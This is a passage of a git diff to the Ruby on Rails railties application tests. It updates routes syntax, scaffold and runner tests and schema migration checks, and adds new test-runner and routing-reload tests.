- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/cart', to: 'cart#show'
+ get '/basketball', to: 'basketball#index'
end
RUBY
- assert_equal "cart GET /cart(.:format) cart#show\n", Dir.chdir(app_path){ `rake routes` }
+
+ ENV['CONTROLLER'] = 'cart'
+ output = Dir.chdir(app_path){ `rake routes` }
+ assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output
+ end
+
+ def test_rake_routes_displays_message_when_no_routes_are_defined
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ end
+ RUBY
+
+ assert_equal <<-MESSAGE.strip_heredoc, Dir.chdir(app_path){ `rake routes` }
+ You don't have any routes defined!
+
+ Please add some routes in config/routes.rb.
+
+ For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html.
+ MESSAGE
end
def test_logger_is_flushed_when_exiting_production_rake_tasks
@@ -188,20 +187,20 @@ module ApplicationTests
def test_scaffold_tests_pass_by_default
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string password:string;
- bundle exec rake db:migrate db:test:clone test`
+ bundle exec rake db:migrate test`
end
- assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+ assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
assert_no_match(/Errors running/, output)
end
def test_scaffold_with_references_columns_tests_pass_by_default
output = Dir.chdir(app_path) do
`rails generate scaffold LineItems product:references cart:belongs_to;
- bundle exec rake db:migrate db:test:clone test`
+ bundle exec rake db:migrate test`
end
- assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+ assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
assert_no_match(/Errors running/, output)
end
@@ -209,7 +208,8 @@ module ApplicationTests
add_to_config "config.active_record.schema_format = :sql"
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string;
- bundle exec rake db:migrate db:test:clone 2>&1 --trace`
+ bundle exec rake db:migrate;
+ bundle exec rake db:test:clone 2>&1 --trace`
end
assert_match(/Execute db:test:clone_structure/, output)
end
@@ -218,7 +218,8 @@ module ApplicationTests
add_to_config "config.active_record.schema_format = :sql"
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string;
- bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+ bundle exec rake db:migrate;
+ bundle exec rake db:test:prepare 2>&1 --trace`
end
assert_match(/Execute db:test:load_structure/, output)
end
@@ -228,7 +229,7 @@ module ApplicationTests
# ensure we have a schema_migrations table to dump
`bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
end
- assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+ assert File.exist?(File.join(app_path, 'db', 'my_structure.sql'))
end
def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
@@ -249,26 +250,37 @@ module ApplicationTests
rails generate model product name:string;
bundle exec rake db:migrate db:schema:cache:dump`
end
- assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+ assert File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
end
def test_rake_clear_schema_cache
Dir.chdir(app_path) do
`bundle exec rake db:schema:cache:dump db:schema:cache:clear`
end
- assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+ assert !File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
end
def test_copy_templates
Dir.chdir(app_path) do
`bundle exec rake rails:templates:copy`
%w(controller mailer scaffold).each do |dir|
- assert File.exists?(File.join(app_path, 'lib', 'templates', 'erb', dir))
+ assert File.exist?(File.join(app_path, 'lib', 'templates', 'erb', dir))
end
%w(controller helper scaffold_controller assets).each do |dir|
- assert File.exists?(File.join(app_path, 'lib', 'templates', 'rails', dir))
+ assert File.exist?(File.join(app_path, 'lib', 'templates', 'rails', dir))
end
end
end
+
+ def test_template_load_initializers
+ app_file "config/initializers/dummy.rb", "puts 'Hello, World!'"
+ app_file "template.rb", ""
+
+ output = Dir.chdir(app_path) do
+ `bundle exec rake rails:template LOCATION=template.rb`
+ end
+
+ assert_match(/Hello, World!/, output)
+ end
end
end
diff --git a/railties/test/application/rendering_test.rb b/railties/test/application/rendering_test.rb
new file mode 100644
index 0000000000..b01febd768
--- /dev/null
+++ b/railties/test/application/rendering_test.rb
@@ -0,0 +1,45 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class RoutingTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "Unknown format falls back to HTML template" do
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get 'pages/:id', to: 'pages#show'
+ end
+ RUBY
+
+ app_file 'app/controllers/pages_controller.rb', <<-RUBY
+ class PagesController < ApplicationController
+ layout false
+
+ def show
+ end
+ end
+ RUBY
+
+ app_file 'app/views/pages/show.html.erb', <<-RUBY
+ <%= params[:id] %>
+ RUBY
+
+ get '/pages/foo'
+ assert_equal 200, last_response.status
+
+ get '/pages/foo.bar'
+ assert_equal 200, last_response.status
+ end
+ end
+end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index 3691ad2723..cbada6be97 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -48,7 +48,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
root to: "foo#index"
end
RUBY
@@ -100,7 +100,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -111,7 +111,7 @@ module ApplicationTests
test "mount rack app" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog"
# The line below is required because mount sometimes
# fails when a resource route is added.
@@ -123,6 +123,26 @@ module ApplicationTests
assert_equal '/archives', last_response.body
end
+ test "mount named rack app" do
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: my_blog_path
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog", as: "my_blog"
+ get '/foo' => 'foo#index'
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal '/blog', last_response.body
+ end
+
test "multiple controllers" do
controller :foo, <<-RUBY
class FooController < ApplicationController
@@ -141,7 +161,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -173,7 +193,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get 'admin/foo', to: 'admin/foo#index'
get 'foo', to: 'foo#index'
end
@@ -188,7 +208,7 @@ module ApplicationTests
test "routes appending blocks" do
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller/:action'
end
RUBY
@@ -205,7 +225,7 @@ module ApplicationTests
assert_equal 'WIN', last_response.body
app_file 'config/routes.rb', <<-R
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get 'lol' => 'hello#index'
end
R
@@ -229,7 +249,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get 'foo', to: 'foo#bar'
end
RUBY
@@ -240,7 +260,7 @@ module ApplicationTests
assert_equal 'bar', last_response.body
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get 'foo', to: 'foo#baz'
end
RUBY
@@ -261,7 +281,7 @@ module ApplicationTests
end
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get 'foo', to: ::InitializeRackApp
end
RUBY
@@ -277,6 +297,146 @@ module ApplicationTests
end
end
+ def test_root_path
+ app('development')
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render :text => "foo"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', :to => 'foo#index'
+ root :to => 'foo#index'
+ end
+ RUBY
+
+ remove_file 'public/index.html'
+
+ get '/'
+ assert_equal 'foo', last_response.body
+ end
+
+ test 'routes are added and removed when reloading' do
+ app('development')
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ controller :bar, <<-RUBY
+ class BarController < ApplicationController
+ def index
+ render text: "bar"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', to: 'foo#index'
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/foo', Rails.application.routes.url_helpers.foo_path
+
+ get '/bar'
+ assert_equal 404, last_response.status
+ assert_raises NoMethodError do
+ assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
+ end
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', to: 'foo#index'
+ get 'bar', to: 'bar#index'
+ end
+ RUBY
+
+ Rails.application.reload_routes!
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/foo', Rails.application.routes.url_helpers.foo_path
+
+ get '/bar'
+ assert_equal 'bar', last_response.body
+ assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', to: 'foo#index'
+ end
+ RUBY
+
+ Rails.application.reload_routes!
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/foo', Rails.application.routes.url_helpers.foo_path
+
+ get '/bar'
+ assert_equal 404, last_response.status
+ assert_raises NoMethodError do
+ assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
+ end
+ end
+
+ test 'named routes are cleared when reloading' do
+ app('development')
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ controller :bar, <<-RUBY
+ class BarController < ApplicationController
+ def index
+ render text: "bar"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get ':locale/foo', to: 'foo#index', as: 'foo'
+ end
+ RUBY
+
+ get '/en/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/en/foo', Rails.application.routes.url_helpers.foo_path(:locale => 'en')
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get ':locale/bar', to: 'bar#index', as: 'foo'
+ end
+ RUBY
+
+ Rails.application.reload_routes!
+
+ get '/en/foo'
+ assert_equal 404, last_response.status
+
+ get '/en/bar'
+ assert_equal 'bar', last_response.body
+ assert_equal '/en/bar', Rails.application.routes.url_helpers.foo_path(:locale => 'en')
+ end
+
test 'resource routing with irregular inflection' do
app_file 'config/initializers/inflection.rb', <<-RUBY
ActiveSupport::Inflector.inflections do |inflect|
@@ -285,7 +445,7 @@ module ApplicationTests
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
resources :yazilar
end
RUBY
diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb
index f65b5e2f2d..6595c40f8b 100644
--- a/railties/test/application/runner_test.rb
+++ b/railties/test/application/runner_test.rb
@@ -37,27 +37,27 @@ module ApplicationTests
end
def test_should_run_file
- app_file "script/count_users.rb", <<-SCRIPT
+ app_file "bin/count_users.rb", <<-SCRIPT
puts User.count
SCRIPT
- assert_match "42", Dir.chdir(app_path) { `bundle exec rails runner "script/count_users.rb"` }
+ assert_match "42", Dir.chdir(app_path) { `bundle exec rails runner "bin/count_users.rb"` }
end
def test_should_set_dollar_0_to_file
- app_file "script/dollar0.rb", <<-SCRIPT
+ app_file "bin/dollar0.rb", <<-SCRIPT
puts $0
SCRIPT
- assert_match "script/dollar0.rb", Dir.chdir(app_path) { `bundle exec rails runner "script/dollar0.rb"` }
+ assert_match "bin/dollar0.rb", Dir.chdir(app_path) { `bundle exec rails runner "bin/dollar0.rb"` }
end
def test_should_set_dollar_program_name_to_file
- app_file "script/program_name.rb", <<-SCRIPT
+ app_file "bin/program_name.rb", <<-SCRIPT
puts $PROGRAM_NAME
SCRIPT
- assert_match "script/program_name.rb", Dir.chdir(app_path) { `bundle exec rails runner "script/program_name.rb"` }
+ assert_match "bin/program_name.rb", Dir.chdir(app_path) { `bundle exec rails runner "bin/program_name.rb"` }
end
def test_with_hook
diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb
new file mode 100644
index 0000000000..032b11a95f
--- /dev/null
+++ b/railties/test/application/test_runner_test.rb
@@ -0,0 +1,331 @@
+require 'isolation/abstract_unit'
+require 'active_support/core_ext/string/strip'
+
+module ApplicationTests
+ class TestRunnerTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ ENV['RAILS_ENV'] = nil
+ create_schema
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def test_run_in_test_environment
+ app_file 'test/unit/env_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class EnvTest < ActiveSupport::TestCase
+ def test_env
+ puts "Current Environment: \#{Rails.env}"
+ end
+ end
+ RUBY
+
+ assert_match "Current Environment: test", run_test_command('test/unit/env_test.rb')
+ end
+
+ def test_run_single_file
+ create_test_file :models, 'foo'
+ create_test_file :models, 'bar'
+ assert_match "1 runs, 1 assertions, 0 failures", run_test_command("test/models/foo_test.rb")
+ end
+
+ def test_run_multiple_files
+ create_test_file :models, 'foo'
+ create_test_file :models, 'bar'
+ assert_match "2 runs, 2 assertions, 0 failures", run_test_command("test/models/foo_test.rb test/models/bar_test.rb")
+ end
+
+ def test_run_file_with_syntax_error
+ app_file 'test/models/error_test.rb', <<-RUBY
+ require 'test_helper'
+ def; end
+ RUBY
+
+ error_stream = Tempfile.new('error')
+ redirect_stderr(error_stream) { run_test_command('test/models/error_test.rb') }
+ assert_match "syntax error", error_stream.read
+ end
+
+ def test_run_models
+ create_test_file :models, 'foo'
+ create_test_file :models, 'bar'
+ create_test_file :controllers, 'foobar_controller'
+ run_test_models_command.tap do |output|
+ assert_match "FooTest", output
+ assert_match "BarTest", output
+ assert_match "2 runs, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_helpers
+ create_test_file :helpers, 'foo_helper'
+ create_test_file :helpers, 'bar_helper'
+ create_test_file :controllers, 'foobar_controller'
+ run_test_helpers_command.tap do |output|
+ assert_match "FooHelperTest", output
+ assert_match "BarHelperTest", output
+ assert_match "2 runs, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_units
+ create_test_file :models, 'foo'
+ create_test_file :helpers, 'bar_helper'
+ create_test_file :unit, 'baz_unit'
+ create_test_file :controllers, 'foobar_controller'
+ run_test_units_command.tap do |output|
+ assert_match "FooTest", output
+ assert_match "BarHelperTest", output
+ assert_match "BazUnitTest", output
+ assert_match "3 runs, 3 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_controllers
+ create_test_file :controllers, 'foo_controller'
+ create_test_file :controllers, 'bar_controller'
+ create_test_file :models, 'foo'
+ run_test_controllers_command.tap do |output|
+ assert_match "FooControllerTest", output
+ assert_match "BarControllerTest", output
+ assert_match "2 runs, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_mailers
+ create_test_file :mailers, 'foo_mailer'
+ create_test_file :mailers, 'bar_mailer'
+ create_test_file :models, 'foo'
+ run_test_mailers_command.tap do |output|
+ assert_match "FooMailerTest", output
+ assert_match "BarMailerTest", output
+ assert_match "2 runs, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_jobs
+ create_test_file :jobs, 'foo_job'
+ create_test_file :jobs, 'bar_job'
+ create_test_file :models, 'foo'
+ run_test_jobs_command.tap do |output|
+ assert_match "FooJobTest", output
+ assert_match "BarJobTest", output
+ assert_match "2 runs, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_functionals
+ create_test_file :mailers, 'foo_mailer'
+ create_test_file :controllers, 'bar_controller'
+ create_test_file :functional, 'baz_functional'
+ create_test_file :models, 'foo'
+ run_test_functionals_command.tap do |output|
+ assert_match "FooMailerTest", output
+ assert_match "BarControllerTest", output
+ assert_match "BazFunctionalTest", output
+ assert_match "3 runs, 3 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_integration
+ create_test_file :integration, 'foo_integration'
+ create_test_file :models, 'foo'
+ run_test_integration_command.tap do |output|
+ assert_match "FooIntegration", output
+ assert_match "1 runs, 1 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_all_suites
+ suites = [:models, :helpers, :unit, :controllers, :mailers, :functional, :integration, :jobs]
+ suites.each { |suite| create_test_file suite, "foo_#{suite}" }
+ run_test_command('') .tap do |output|
+ suites.each { |suite| assert_match "Foo#{suite.to_s.camelize}Test", output }
+ assert_match "8 runs, 8 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_named_test
+ app_file 'test/unit/chu_2_koi_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class Chu2KoiTest < ActiveSupport::TestCase
+ def test_rikka
+ puts 'Rikka'
+ end
+
+ def test_sanae
+ puts 'Sanae'
+ end
+ end
+ RUBY
+
+ run_test_command('test/unit/chu_2_koi_test.rb test_rikka').tap do |output|
+ assert_match "Rikka", output
+ assert_no_match "Sanae", output
+ end
+ end
+
+ def test_run_matched_test
+ app_file 'test/unit/chu_2_koi_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class Chu2KoiTest < ActiveSupport::TestCase
+ def test_rikka
+ puts 'Rikka'
+ end
+
+ def test_sanae
+ puts 'Sanae'
+ end
+ end
+ RUBY
+
+ run_test_command('test/unit/chu_2_koi_test.rb /rikka/').tap do |output|
+ assert_match "Rikka", output
+ assert_no_match "Sanae", output
+ end
+ end
+
+ def test_load_fixtures_when_running_test_suites
+ create_model_with_fixture
+ suites = [:models, :helpers, [:units, :unit], :controllers, :mailers,
+ [:functionals, :functional], :integration]
+
+ suites.each do |suite, directory|
+ directory ||= suite
+ create_fixture_test directory
+ assert_match "3 users", run_task(["test:#{suite}"])
+ Dir.chdir(app_path) { FileUtils.rm_f "test/#{directory}" }
+ end
+ end
+
+ def test_run_with_model
+ create_model_with_fixture
+ create_fixture_test 'models', 'user'
+ assert_match "3 users", run_task(["test models/user"])
+ assert_match "3 users", run_task(["test app/models/user.rb"])
+ end
+
+ def test_run_different_environment_using_env_var
+ app_file 'test/unit/env_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class EnvTest < ActiveSupport::TestCase
+ def test_env
+ puts Rails.env
+ end
+ end
+ RUBY
+
+ ENV['RAILS_ENV'] = 'development'
+ assert_match "development", run_test_command('test/unit/env_test.rb')
+ end
+
+ def test_run_different_environment_using_e_tag
+ env = "development"
+ app_file 'test/unit/env_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class EnvTest < ActiveSupport::TestCase
+ def test_env
+ puts Rails.env
+ end
+ end
+ RUBY
+
+ assert_match env, run_test_command("test/unit/env_test.rb RAILS_ENV=#{env}")
+ end
+
+ def test_generated_scaffold_works_with_rails_test
+ create_scaffold
+ assert_match "0 failures, 0 errors, 0 skips", run_test_command('')
+ end
+
+ private
+ def run_task(tasks)
+ Dir.chdir(app_path) { `bundle exec rake #{tasks.join ' '}` }
+ end
+
+ def run_test_command(arguments = 'test/unit/test_test.rb')
+ run_task ['test', arguments]
+ end
+ %w{ mailers models helpers units controllers functionals integration jobs }.each do |type|
+ define_method("run_test_#{type}_command") do
+ run_task ["test:#{type}"]
+ end
+ end
+
+ def create_model_with_fixture
+ script 'generate model user name:string'
+
+ app_file 'test/fixtures/users.yml', <<-YAML.strip_heredoc
+ vampire:
+ id: 1
+ name: Koyomi Araragi
+ crab:
+ id: 2
+ name: Senjougahara Hitagi
+ cat:
+ id: 3
+ name: Tsubasa Hanekawa
+ YAML
+
+ run_migration
+ end
+
+ def create_fixture_test(path = :unit, name = 'test')
+ app_file "test/#{path}/#{name}_test.rb", <<-RUBY
+ require 'test_helper'
+
+ class #{name.camelize}Test < ActiveSupport::TestCase
+ def test_fixture
+ puts "\#{User.count} users (\#{__FILE__})"
+ end
+ end
+ RUBY
+ end
+
+ def create_schema
+ app_file 'db/schema.rb', ''
+ end
+
+ def redirect_stderr(target_stream)
+ previous_stderr = STDERR.dup
+ $stderr.reopen(target_stream)
+ yield
+ target_stream.rewind
+ ensure
+ $stderr = previous_stderr
+ end
+
+ def create_test_file(path = :unit, name = 'test')
+ app_file "test/#{path}/#{name}_test.rb", <<-RUBY
+ require 'test_helper'
+
+ class #{name.camelize}Test < ActiveSupport::TestCase
+ def test_truth
+ puts "#{name.camelize}Test"
+ assert true
+ end
+ end
+ RUBY
+ end
+
+ def create_scaffold
+ script 'generate scaffold user name:string'
+ Dir.chdir(app_path) { File.exist?('app/models/user.rb') }
+ run_migration
+ end
+
+ def run_migration
+ Dir.chdir(app_path) { `bundle exec rake db:migrate` }
+ end
+ end
+end
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index f6bcaa466a..c7132837b1 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -24,7 +24,7 @@ module ApplicationTests
end
RUBY
- run_test_file 'unit/foo_test.rb'
+ assert_successful_test_run 'unit/foo_test.rb'
end
test "integration test" do
@@ -49,44 +49,274 @@ module ApplicationTests
end
RUBY
- run_test_file 'integration/posts_test.rb'
+ assert_successful_test_run 'integration/posts_test.rb'
end
- test "performance test" do
- controller 'posts', <<-RUBY
- class PostsController < ActionController::Base
+ test "enable full backtraces on test failures" do
+ app_file 'test/unit/failing_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class FailingTest < ActiveSupport::TestCase
+ def test_failure
+ raise "fail"
+ end
end
RUBY
- app_file 'app/views/posts/index.html.erb', <<-HTML
- Posts#index
- HTML
+ output = run_test_file('unit/failing_test.rb', env: { "BACKTRACE" => "1" })
+ assert_match %r{/app/test/unit/failing_test\.rb}, output
+ end
+
+ test "ruby schema migrations" do
+ output = script('generate model user name:string')
+ version = output.match(/(\d+)_create_users\.rb/)[1]
- app_file 'test/performance/posts_test.rb', <<-RUBY
+ app_file 'test/models/user_test.rb', <<-RUBY
require 'test_helper'
- require 'rails/performance_test_help'
- class PostsTest < ActionDispatch::PerformanceTest
- def test_index
- get '/posts'
- assert_response :success
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon"
+ end
+ end
+ RUBY
+ app_file 'db/schema.rb', ''
+
+ assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: #{version}) do
+ create_table :users do |t|
+ t.string :name
+ end
+ end
+ RUBY
+
+ app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+ Rails.application.config.active_record.maintain_test_schema = false
+ RUBY
+
+ assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+ File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+ result = assert_successful_test_run('models/user_test.rb')
+ assert !result.include?("create_table(:users)")
+ end
+
+ test "sql structure migrations" do
+ output = script('generate model user name:string')
+ version = output.match(/(\d+)_create_users\.rb/)[1]
+
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon"
+ end
+ end
+ RUBY
+
+ app_file 'db/structure.sql', ''
+ app_file 'config/initializers/enable_sql_schema_format.rb', <<-RUBY
+ Rails.application.config.active_record.schema_format = :sql
+ RUBY
+
+ assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+ app_file 'db/structure.sql', <<-SQL
+ CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+ CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+ CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+ INSERT INTO schema_migrations (version) VALUES ('#{version}');
+ SQL
+
+ app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+ Rails.application.config.active_record.maintain_test_schema = false
+ RUBY
+
+ assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+ File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+ assert_successful_test_run('models/user_test.rb')
+ end
+
+ test "sql structure migrations when adding column to existing table" do
+ output_1 = script('generate model user name:string')
+ version_1 = output_1.match(/(\d+)_create_users\.rb/)[1]
+
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon"
+ end
+ end
+ RUBY
+
+ app_file 'config/initializers/enable_sql_schema_format.rb', <<-RUBY
+ Rails.application.config.active_record.schema_format = :sql
+ RUBY
+
+ app_file 'db/structure.sql', <<-SQL
+ CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+ CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+ CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+ INSERT INTO schema_migrations (version) VALUES ('#{version_1}');
+ SQL
+
+ assert_successful_test_run('models/user_test.rb')
+
+ output_2 = script('generate migration add_email_to_users')
+ version_2 = output_2.match(/(\d+)_add_email_to_users\.rb/)[1]
+
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon", email: "jon@doe.com"
+ end
+ end
+ RUBY
+
+ app_file 'db/structure.sql', <<-SQL
+ CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+ CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+ CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255), "email" varchar(255));
+ INSERT INTO schema_migrations (version) VALUES ('#{version_1}');
+ INSERT INTO schema_migrations (version) VALUES ('#{version_2}');
+ SQL
+
+ assert_successful_test_run('models/user_test.rb')
+ end
+
+ # TODO: would be nice if we could detect the schema change automatically.
+ # For now, the user has to synchronize the schema manually.
+ # This test-case serves as a reminder for this use-case.
+ test "manually synchronize test schema after rollback" do
+ output = script('generate model user name:string')
+ version = output.match(/(\d+)_create_users\.rb/)[1]
+
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ assert_equal ["id", "name"], User.columns_hash.keys
+ end
+ end
+ RUBY
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: #{version}) do
+ create_table :users do |t|
+ t.string :name
+ end
+ end
+ RUBY
+
+ assert_successful_test_run "models/user_test.rb"
+
+ # Simulate `db:rollback` + edit of the migration file + `db:migrate`
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: #{version}) do
+ create_table :users do |t|
+ t.string :name
+ t.integer :age
+ end
+ end
+ RUBY
+
+ assert_successful_test_run "models/user_test.rb"
+
+ Dir.chdir(app_path) { `bin/rake db:test:prepare` }
+
+ assert_unsuccessful_run "models/user_test.rb", <<-ASSERTION
+Expected: ["id", "name"]
+ Actual: ["id", "name", "age"]
+ ASSERTION
+ end
+
+ test "hooks for plugins" do
+ output = script('generate model user name:string')
+ version = output.match(/(\d+)_create_users\.rb/)[1]
+
+ app_file 'lib/tasks/hooks.rake', <<-RUBY
+ task :before_hook do
+ has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+ puts "before: " + has_user_table.to_s
+ end
+
+ task :after_hook do
+ has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+ puts "after: " + has_user_table.to_s
+ end
+
+ Rake::Task["db:test:prepare"].enhance [:before_hook] do
+ Rake::Task[:after_hook].invoke
+ end
+ RUBY
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon"
end
end
RUBY
- run_test_file 'performance/posts_test.rb'
+ # Simulate `db:migrate`
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: #{version}) do
+ create_table :users do |t|
+ t.string :name
+ end
+ end
+ RUBY
+
+ output = assert_successful_test_run "models/user_test.rb"
+ assert_includes output, "before: false\nafter: true"
+
+ # running tests again won't trigger a schema update
+ output = assert_successful_test_run "models/user_test.rb"
+ assert_not_includes output, "before:"
+ assert_not_includes output, "after:"
end
private
- def run_test_file(name)
- result = ruby '-Itest', "#{app_path}/test/#{name}"
+ def assert_unsuccessful_run(name, message)
+ result = run_test_file(name)
+ assert_not_equal 0, $?.to_i
+ assert result.include?(message)
+ result
+ end
+
+ def assert_successful_test_run(name)
+ result = run_test_file(name)
assert_equal 0, $?.to_i, result
+ result
+ end
+
+ def run_test_file(name, options = {})
+ ruby '-Itest', "#{app_path}/test/#{name}", options.deep_merge(env: {"RAILS_ENV" => "test"})
end
def ruby(*args)
+ options = args.extract_options!
+ env = options.fetch(:env, {})
